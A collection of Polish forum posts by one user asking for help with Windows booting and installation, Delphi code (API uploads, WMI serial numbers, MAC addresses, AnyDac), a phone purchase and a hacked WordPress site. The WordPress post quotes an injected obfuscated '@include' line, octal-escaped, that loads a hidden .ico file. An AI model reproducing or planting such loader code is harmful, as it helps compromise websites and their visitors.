Instalacja Win na dysku SSD i brak bootowania z HDD

[Instalacja Win na dysku SSD i brak bootowania z HDD]

Witam.

Mam komputer, na którym jest zainstalowany system Windows 10 Home 32 bit na dysku HDD. Wszystko działało bez problemu do momentu, kiedy postanowiłem dołożyć do komputera dysk SSD (SATA III) i zainstalowałem Windows'a na tym dysku (również W10 32 bit). 

Stary dysk HDD podczas instalacji Windows'a na SSD odłączyłem całkowicie. Instalacja przebiegła w porządku i system działa na SSD. Po instalacji podłączyłem również dysk HDD aby móc z niego również korzystać i wszystko działa OK.

Niestety, potrzebuję jeszcze uruchomić Windows'a ze starego dysku HDD i teraz nie mogę tego zrobić. Podczas bootowania pojawia się migający kursor i nic więcej się nie dzieje. Windows startuje tylko z dysku SSD.

Resetowałem bios do ustawień domyślnych, usuwałem secure boot - bez efektu. Wciąg widać tylko migający kursor. 

Czy coś dodatkowego muszę zrobić aby system wystartował ze starego HDD?  Ten dysk i system na nim nie został naruszony w żaden sposób. 

Płyta główna: Asus H110M-D, procesor: Core i3 7100

 

[Wymiana Redmi Note 7 na Realme 8]

Witam,

Przymierzam się do wymiany mojego wysłużonego Redmi Note 7 3/32 GB i zastanawiam się nad zakupem Realme 8 4/64 GB. 

Zależy mi tylko aby telefon działał szybko oraz miał dobrą baterię.  Aparat nie ma znaczenia, 5G nie jest mi potrzebne, NFC też nie.

Czy przesiadka z Redmi Note 7 na Realme 8 ma sens? Odczuję różnicę w działaniu telefonu? Cenowo planuje przeznaczyć około 800-900 zł na telefon.

Czy może zamiast Realme 8 szukać czegoś innego?

[Delphi i wysyłanie dokumentów metodą POST i GET]

Ok. Sprawdziłem na miarę moich możliwości wysyłanie za pomocą Indy i komponentu TIdHTTP w ten sposób:

idhttp := TIdHttp.Create(self); 
Params := TIdMultiPartFormDataStream.Create;
Params.AddFile('plik', 'mojplik.zip');

res := idhttp.Post('http://mojastrona.pl/', Params);

Params.Free;
idhttp.Free;

Tylko, że ja na swojej stronie mam plik index.php z formularzem, który przyjmuje ten wysyłany plik i zapisuje na serwerze, natomiast w tej specyfikacji jest podana scieżka https://etw-tst.mf.gov.pl/ai/api/v1/etw-documents/

Domyślam się, że w moim kodzie zamiast http://mojastrona.pl ma znaleźć się właśnie ten adres etw-tst.mf.gov.pl ale wątpie aby można było wysłać normalnie zwykły plik XML. W ich instrukcji jest jakieś takie przetworzenie żądania ale nie mam pojęcia co z tym zrobić. Jakieś pomysły?

POST /api/v1/etw-documents
{
  "etwDocument": {
  "encryption": {
  "encryptionKey": {
  "key":
  "pHlGeultDGNZQoKV4RlVjor14ypRIF6O0ZGjlGCMqojYSuEqYo5awZlWU8OmvCEgQuwiT1AXLLJ3r0fR5eiKg
  lJ+/UF3dQCpfgamr1DU2ThVsa2goFyKhNvMSohQI1gV3a4Tm9YAUXlLQkEu9QC+NkB6jIfB/dG91P4DrjXxEf/
  ptAJIXN7L9/3GUiV1onhP2JHTRgxreil1vtZEazXXyFwe2ZGh1stpgpoDFlRee+Ss3WFX6nuq+QWSiIdFPwA9p
  PozrGbDZS0Jf9Qwdzs/i2UCpkP8qOplk20dBF+S2/T1b41B+GSGIrN5LL9UxePluoA1+v7Uy9nNMCi/R4MODA=
  =",
  "algorithm": "RSA",
  "mode": "ECB",
  "padding": "PKCS#1",
  "encoding": "Base64"
  },
  "encryptionDetails": {
  "aes": {
  "block": "16",
  "padding": "PKCS#7",
  "size": "256",
  "mode": "CBC",
  "aesIV": {
  "bytes": "16",
  "encoding": "Base64",
  "iv": "JUnzAQXNexe7Dg0u9lwOUg=="
  }
}
}
},
  "document": {
  "formType": {
  "code": "EZW",
  "version": "V1"
  },
    "formContent": {
    "encoding": "Base64",
    "content":
    "PERva3VtZW50PgoJPE9waXNEb2t1bWVudHUgLz4KCTxTaWduYXR1cmUgSWQ9IklEMSIgLz4KPERva3VtZW50P
    g=="
    }
}
}
}

 

[Delphi i wysyłanie dokumentów metodą POST i GET]

Witam,

Mam Delphi XE i przyszło mi się zderzyć z tematem wysyłania dokumentów wykorzystując udostępnione API i metody POST i GET.  Przyznam, że temat dla mnie jest zupełnie nowy i nie wiem czy Delphi XE w ogóle obsługuje takie metody? Czy do tego wykorzystuje się pakiet Indy?

Ogólnie temat dotyczy Elektronicznych Tytułów Wykonawczych. http://www.is-szczecin.pl/egzadm/inf_stronyinstrukcji/system_eTW.php

Opisują tam interfejs API https://etw-tst.mf.gov.pl/ai/  i inne potrzebne do tego szczegóły. Nigdy jednak z czymś takim się nie zetknąłem stąd moje pytanie czy w Delphi XE da się to obsłużyć? Jeśli tak to macie może jakieś tutoriale, przykłady?

[Win 10 32 bit - problem z instalacją]

Tak. W jednej.

[Win 10 32 bit - problem z instalacją]

Z klawiaturą na PS2 też próbowałem. Efekt ten sam. W biosie natomiast jest opcja Secure boot state oznaczona jako System. Niestety nie mogę wejść aby zmienić tej opcji. Jest wyszarzona. 

[Win 10 32 bit - problem z instalacją]

Na komputerach z Windows 7, 8 czy 10 w wersji 32 bitowej uruchamiam aplikacje dos'owe bez DOSBOX'a więc nie jest konieczny. Tak czy inaczej to nie jest problem używanych instrukcji tylko jak zainstalować wersję 32 bit. Czy jest sens np wymienić płytę główną bo może ona tutaj nie wspiera 32 bit.

[Win 10 32 bit - problem z instalacją]

Mam stare aplikacje jeszcze w DOS'ie i chcę normalnie je uruchomić pod Windowsem.  Przy wersji 64 bit Windowsa trzeba instalować VirtualBox'a lub coś podobnego albo kombinować z DOSBOx'em ale nie do końca się to sprawdza u mnie.  Dlatego tak się upieram przy 32 bit.

[Win 10 32 bit - problem z instalacją]

Nie wiem czy tutaj partycja ma znaczenie bo nawet bez podłączonego dysku próbowałem i też to samo.

[Win 10 32 bit - problem z instalacją]

Witam,

Mam problem z zainstalowaniem Windows'a 10 w wersji 32 bit. Przy uruchomieniu instalatora gdy pojawi się pierwszy ekran gdzie wybiera się język systemu i klawiatury to nic nie można zrobić. Mysz i klawiatura nie działają i nie da rady przejść dalej. Tak jakby komputer się zawiesił bo pozostaje tylko reset.  Dzieje się to tylko w przypadku wersji 32 bit. Gdy próbuje zainstalować 64 bit to wszystko działa poprawnie.  Próbowałem również instalacji Windows 7 32 bit ale efekt ten sam. Próbowałem też zainstalować system na innym komputerze i przełożyłem dysk do komputera docelowego jednak podczas uruchamiania pojawia się blue screen i też nic z tego.

Konfiguracja komputera:

Procesor: Intel Pentium G6500

Płyta główna: Asus Prime H410M-D

RAM: HyperX DDR4 8GB 2666MHz.

 

Czy ktoś miał kiedyś podobny problem?  Czy może na tej konfiguracji nie da się zainstalować wersji 32 bit?

W załączniku ekran na którym zatrzymuje się instalator.

 

[[Delphi] Numer seryjny płyty głównej]

Witam,

Próbuje napisać aplikację czytającą numer seryjny płyty głównej komputera. Znalazłem w sieci pomocny kod przy użyciu WMI (Microsoft WMI Scripting):

function GetWMIstring (wmiHost, wmiClass, wmiProperty : string):string;
var  // These are all needed for the WMI querying process
  Locator:  ISWbemLocator;
  Services: ISWbemServices;
  SObject:  ISWbemObject;
  ObjSet:   ISWbemObjectSet;
  SProp:    ISWbemProperty;
  Enum:     IEnumVariant;
  Value:    Cardinal;
  TempObj:  OleVariant;
  SN: string;
begin
  try
  Locator := CoSWbemLocator.Create;  // Create the Location object
  // Connect to the WMI service, with the root\cimv2 namespace
   Services :=  Locator.ConnectServer(wmiHost, 'root\cimv2', '', '', '','', 0, nil);
  ObjSet := Services.ExecQuery('SELECT * FROM '+wmiClass, 'WQL',
    wbemFlagReturnImmediately and wbemFlagForwardOnly , nil);
  Enum :=  (ObjSet._NewEnum) as IEnumVariant;
  while (Enum.Next(1, TempObj, Value) = S_OK) do
  begin
    SObject := IUnknown(tempObj) as ISWBemObject;
    SProp := SObject.Properties_.Item(wmiProperty, 0);
    if VarIsNull(SProp.Get_Value) then
      result := ''
    else
    begin
      SN := SProp.Get_Value;
      result :=  SN;
    end;
  end;
  except // Trap any exceptions (Not having WMI installed will cause one!)
   on exception do
    result := '';
   end;
end;

Niestety w linijce  SObject := IUnknown(tempObj) as ISWBemObject;  mam błąd  E2089 Invalid typecast

Może ktoś doradzić co zrobić w takim przypadku?

 

Dzięki z góry za odpowiedź.

[Python - programowanie]

Nigdy nie używałem pythona, ale spróbowałem zrobić takie zadania. 

# Zadanie 1

liczba = 32  # tutaj podajemy interesującą nasz liczbę

for i in range(1,liczba+1):
 if(liczba % i == 0): 
   print(i)
   
   
# Zadanie 2
   
liczba = 44356  # tutaj podajemy interesującą nasz liczbę

napis = str(liczba)
for znak in napis:    
    print(znak)

[Delphi - pobranie poprawnego adresu MAC]

Ogólnie MAC potrzebny mi aby zidentyfikować komputer. Komputerów mam mnóstwo i potrzebuję zapisać informacje o konkretnym komputerze i pomyślałem, że właśnie MAC może się tu przydać.

Mam taką sytuację, że mam klienta A, klienta B, C, D itd. Każdy klient ma jakąś tam ilość komputerów i potrzebuję jakoś zidentyfikować te komputery. Można nadać w programie dla każdego klienta i jego komputerów jakiś numer seryjny ale mając ich np 300 sztuk (komputerów) to na tą chwilę ciężko u każdego wprowadzić taki numer. 

Chyba, że jest jakieś lepsze rozwiązanie tego problemu niż MAC adres?

[Delphi - pobranie poprawnego adresu MAC]

Interaktywne właśnie nie za bardzo może być bo użytkownicy nie wiedzą co to jest adres MAC a samemu im to zaznaczać to będzie ciężko. 

Chciałem właśnie zrobić tak, aby sprawdzać nazwę adaptera i wtedy jakoś filtrować wynik, tylko nie potrafię się dostać w kodzie do tego parametru.

[Delphi - pobranie poprawnego adresu MAC]

Witam,

Napisałem mały programik z wykorzystaniem poniższego kodu do pobierania adresu MAC karty sieciowej. Program działa i znajduje wszystkie adresy jakie są w komputerze, ale jak określić, który jest ten właściwy, należący do zainstalowanej głównej karty sieciowej?

// funkcja zwracająca MAC adres w postaci String

function TfrmMacAdress.GetAdapterInfo(Lana: AnsiChar): String;
var
  Adapter: TAdapterStatus;
  NCB: TNCB;
begin
  FillChar(NCB, SizeOf(NCB), 0);
  NCB.ncb_command := Char(NCBRESET);
  NCB.ncb_lana_num := Lana;
  if Netbios(@NCB) <> Char(NRC_GOODRET) then
  begin
    result := 'mac not found';
    Exit;
  end;
  FillChar(NCB, SizeOf(NCB), 0);
  NCB.ncb_command := Char(NCBASTAT);
  NCB.ncb_lana_num := Lana;
  NCB.ncb_callname := '*';
  FillChar(Adapter, SizeOf(Adapter), 0);
  NCB.ncb_buffer := @Adapter;
  NCB.ncb_length := SizeOf(Adapter);

  result := IntToHex(Byte(Adapter.adapter_address[0]), 2) + '-' + IntToHex(Byte(Adapter.adapter_address[1]), 2) + '-' +
    IntToHex(Byte(Adapter.adapter_address[2]), 2) + '-' + IntToHex(Byte(Adapter.adapter_address[3]), 2) + '-' +
    IntToHex(Byte(Adapter.adapter_address[4]), 2) + '-' + IntToHex(Byte(Adapter.adapter_address[5]), 2);

end;

// procedura pobierania adapterów sieciowych i wyświetlanie do TMemo.
function TfrmMacAdress.GetMAC: string;
var
  AdapterList: TLanaEnum;
  NCB: TNCB;
  LanaCount: Byte;
  i: Integer;
  S: AnsiString;
begin
  result := '';
  FillChar(NCB, SizeOf(NCB), 0);
  NCB.ncb_command := Char(NCBENUM);
  NCB.ncb_buffer := @AdapterList;
  NCB.ncb_length := SizeOf(AdapterList);
  Netbios(@NCB);
  LanaCount := Byte(AdapterList.length);
  if LanaCount > 0 then
  begin
    for i := 0 to LanaCount - 1 do
    begin
      memo2.Lines.Add(GetAdapterInfo(AdapterList.Lana[i]));
    end;
  end
  else
    memo2.Lines.Add('Not Found');
end;

 

U mnie znajduje 4 adresy MAC z czego jeden jest poprawny, drugi należy do VirtualBox'a a 2 pozostałe to jakieś Hyper-V Virtual Ethernet Adapter (poniżej wynik komendy ipconfig /all)

Ethernet adapter Ethernet 3:  (Główna - jedyna karta sieciowa)

   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Intel(R) Ethernet Connection (2) I219-V
   Physical Address. . . . . . . . . : 30-9C-23-88-B7-13
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . :  
   IPv4 Address. . . . . . . . . . . : 
   DHCPv6 IAID . . . . . . . . . . . : 338730019
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-24-8D-3F-03-30-9C-23-AB-AD-9B
   DNS Servers . . . . . . . . . . . : 192.168.1.1
   NetBIOS over Tcpip. . . . . . . . : Enabled

Ethernet adapter Ethernet 4: (VirtualBox)

   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : VirtualBox Host-Only Ethernet Adapter
   Physical Address. . . . . . . . . : 0A-00-27-00-00-0C
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::64e1:3ae8:348b:ce85%12(Preferred) 
   IPv4 Address. . . . . . . . . . . : 192.168.56.1(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
 

Ethernet adapter PoĄczenie sieciowe Bluetooth:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Bluetooth Device (Personal Area Network)
   Physical Address. . . . . . . . . : 00-1A-7D-DA-71-09
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes

Ethernet adapter vEthernet (Ethernet 3):

   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Hyper-V Virtual Ethernet Adapter
   Physical Address. . . . . . . . . : 00-15-5D-A5-76-90
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::50d2:cc6f:b6c2:4d6f%32(Preferred) 
   IPv4 Address. . . . . . . . . . . : 172.21.144.1(Preferred) 


Ethernet adapter vEthernet (Ethernet 4):

   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Hyper-V Virtual Ethernet Adapter #2
   Physical Address. . . . . . . . . : 00-15-5D-A3-45-8D
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::a978:fb8a:9ee6:7d5a%41(Preferred) 
   IPv4 Address. . . . . . . . . . . : 172.17.32.1(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.240.0

Jak teraz określić który adres jest ten właściwy należący do karty sieciowej? W załączniku screenshot z wyniku działania programu.

 

[Wordpress - wirusy na serwerze]

Dzięki za odpowiedź.

Uprawnienia na katalogach i plikach mam 755. 

Co ciekawe, zauważyłem że nawet niektóre pliki samego Wordpress'a są modyfikowane. Wtedy nawet ciężko pobrać na dysk i sprawdzić bo antywirus od razu je usuwa. Wtedy sprawdzam bezpośrednio na serwerze w edycji plików. Niestety kończy się to na podmianie całego pliku z kopii zapasowej lub oryginalnej instalacji Wordpress'a.

No nic, będę walczył dalej. Może w końcu uda mi się dojść do źródła problemu.

[Wordpress - wirusy na serwerze]

Witam,

Mam stronę internetową opartą na WordPress. Na serwerze pojawiają mi się dziwne katalogi typu "zd4kc" itp. W niektórym katalogach pojawiają mi się też pliki PHP o losowej nazwie np "dx8dsc.php" itp.  Zdarza się też, że pojawiają się pliki "index.php" w różnych katalogach o zawartości np "@include "\057va\162/w\167w/\166ho\163ts\05734\05716\06165\062/w\145bs\160ac\145/h\164tp\144oc\163/r\157ot\0577r\1611w\063s/\143ac\150e/\056c5\062b3\0608f\056ic\157";

Czy ktoś miał z czyms takim do czynienia? Wiecie może co jest przyczyną takiej sytuacji?

Z panelu administracyjnego Wordpress'a usunąłem niemal wszystkie wtyczki, zablokowałem możliwość dodawania komentarzy na stronie i aktualizuję Wordpress'a jeśli wyjdzie nowa wersja. 

Na serwerze mam wersję PHP 7.0.33

 

Z góry dziękuje za pomoc.

Pozdrawiam.

[Delphi + podpis kwalifikowany + JPK]

Witam,

Czy zna ktoś z was jakieś sposoby aby  zaimplementować w swoim programie utworzonym w Delphi (moja wersja to Delphi XE) podpisywanie plików XML podpisem kwalifikowanym?

Docelowo potrzebuję napisać taką funkcjonalność, że po stworzeniu pliku XML podpisuje go podpisem kwalifikowanym a następnie wysyła się ten podpisany plik do Ministerstwa Finansów. Chodzi dokładniej o wysyłanie plików JPK VAT.  Niestety nie mam na ten temat wiedzy i poszukuje jakiś informacji gdzie i jak można coś takiego zrobić.

Przeszukując internet natrafiłem na jakieś komponenty SecureBlackBox ale nie są to tanie rzeczy i nie wiem czy za ich pomocą można zrealizować wszystko co potrzebne do wysyłki JPK. 

Czy w ogóle da się coś takiego stworzyć w Delphi darmowo lub z niewielkim nakładem finansowym?

Z góry dziękuje za wszelkie informacje, linki itp.

[Delphi XE + AnyDac]

Udało się znaleźć przyczynę. Może komuś się przyda to dodaje rozwiązanie:

 

Trzeba sprawdzić w opcji Component -> Install packages czy jest dodany wpis do plików BPL od AnyDac. Jeśli nie ma to wystarczy dodać ścieżkę (w moim przypadku C:\Users\Public\Documents\RAD Studio\8.0\Bpl\AnyDAC_Dcl_D15.bpl) i powinno zadziałać.

[Delphi XE + AnyDac]

W końcu znalazłem sposób aby instalacja AnyDac przebiegła bez błędów. Okazuje się, że do katalogu BIN gdzie mamy Delphi zainstalowane trzeba skopiować biblioteki z postgreSQL'a.

Jednak pomimo poprawnej (niby) instalacji gdy uruchamiam Delphi XE to wciąż nie widzę komponentów od AnyDac.

 

Co może być tego przyczyną? czy coś dodatkowo trzeba zrobić?

[Delphi XE + AnyDac]

Witam,

Próbuje przenieść projekt (otrzymany w spadku) napisany w Delphi XE na nowy komputer. Projekt ten wymaga do działania komponentów AnyDac oraz silnika baz danych PostgreSQL.

PostgreSQL mam zainstalowany i działa prawidłowo. Delphi XE również jednak jest kłopot z komponentami AnyDac.

Mam taki problem, że gdy instaluje pakiet AnyDac właśnie dla PostgreSQL to pod koniec instalacji pojawia się wiersz poleceń z błędem:

 

ERROR: [AnyDac][Phys][PG]-314. Cannot load vendor library [libpq.dll]

Nie można odnaleźć określonego pliku.

Check it is in the PATH or application EXE directories and has x86 bitness.

 

 

Instalacja później dobiega końca, ale gdy uruchamiam Delphi XE to nie ma zainstalowanych w nim komponentów AnyDac.

Czy ktoś może podpowiedzieć co należy zrobić aby instalacja zakończyła się pełnym sukcesem i w delphi pojawiły się komponenty AnyDac?

 

Edit:

System: Windows 8.1 64 bit

PostreSQL: 9.2.8 64 bit

AnyDac: 6.0.9